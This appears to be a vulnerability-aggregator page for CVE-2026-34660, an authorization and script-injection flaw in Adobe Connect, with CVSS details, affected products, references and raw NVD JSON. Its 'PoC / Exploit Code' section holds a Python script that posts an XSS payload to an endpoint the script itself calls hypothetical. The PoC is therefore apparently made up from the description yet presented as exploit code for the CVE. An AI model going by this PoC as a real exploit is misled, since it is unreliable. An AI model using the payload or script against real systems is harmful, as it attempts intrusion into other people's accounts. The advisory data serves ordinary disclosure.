CVE-2026-34660

Description

Adobe Connect versions 2025.9.15, 2025.8.157 and earlier are affected by an Incorrect Authorization vulnerability that could result in arbitrary code execution in the context of the current user. An attacker could exploit this vulnerability to inject malicious scripts into a web page, potentially gaining elevated access or control over the victim's account or session. Exploitation of this issue requires user interaction in that a victim must visit a maliciously crafted URL or interact with a compromised web page. Scope is changed.

CVSS Details

CVSS Score

9.3

Severity

CRITICAL

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N

Configurations (Affected Products)

cpe:2.3:a:adobe:connect_desktop_application:*:*:*:*:*:macos:*:* - VULNERABLE

cpe:2.3:a:adobe:connect_desktop_application:*:*:*:*:*:windows:*:* - VULNERABLE

Adobe Connect <= 2025.9.15

Adobe Connect <= 2025.8.157

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# Proof of Concept for CVE-2026-34660
# This script demonstrates the potential exploitation of the Incorrect Authorization vulnerability.
# It simulates sending a crafted request to inject a malicious script.

import requests

def exploit_cve(target_url):
    # The payload aims to inject a script to execute arbitrary code
    payload = "<img src=x onerror=alert('XSS_RCE_PoC')>"
    
    # Vulnerable endpoint (hypothetical based on description)
    endpoint = f"{target_url}/api/vulnerable_endpoint"
    
    try:
        # Send POST request without authentication (PR:N)
        response = requests.post(
            endpoint,
            data={
                'content': payload,
                'action': 'inject'
            },
            timeout=10
        )
        
        if response.status_code == 200:
            print("[+] Payload sent successfully.")
            print("[+] Check if the script executed on the client side.")
        else:
            print("[-] Failed to send payload.")
            
    except Exception as e:
        print(f"Error: {e}")

if __name__ == "__main__":
    target = "http://example-adobe-connect.com"
    exploit_cve(target)

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-34660
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-34660
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-34660/
[4] VulDB https://vuldb.com/cve/CVE-2026-34660
[5] https://helpx.adobe.com/security/products/connect/apsb26-50.html

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-34660", "sourceIdentifier": "[email protected]", "published": "2026-05-12T19:16:30.930", "lastModified": "2026-05-13T19:39:37.053", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Adobe Connect versions 2025.9.15, 2025.8.157 and earlier are affected by an Incorrect Authorization vulnerability that could result in arbitrary code execution in the context of the current user. An attacker could exploit this vulnerability to inject malicious scripts into a web page, potentially gaining elevated access or control over the victim's account or session. Exploitation of this issue requires user interaction in that a victim must visit a maliciously crafted URL or interact with a compromised web page. Scope is changed."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N", "baseScore": 9.3, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 5.8}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-863"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:adobe:connect_desktop_application:*:*:*:*:*:macos:*:*", "versionEndIncluding": "2025.8.157", "matchCriteriaId": "B8B6BA67-FDEA-44F6-8DE0-DEBFE4AFF51A"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:connect_desktop_application:*:*:*:*:*:windows:*:*", "versionEndIncluding": "2025.9.15", "matchCriteriaId": "F646DF9F-7F86-4C0D-A47C-05300F20D52D"}]}]}], "references": [{"url": "https://helpx.adobe.com/security/products/connect/apsb26-50.html", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}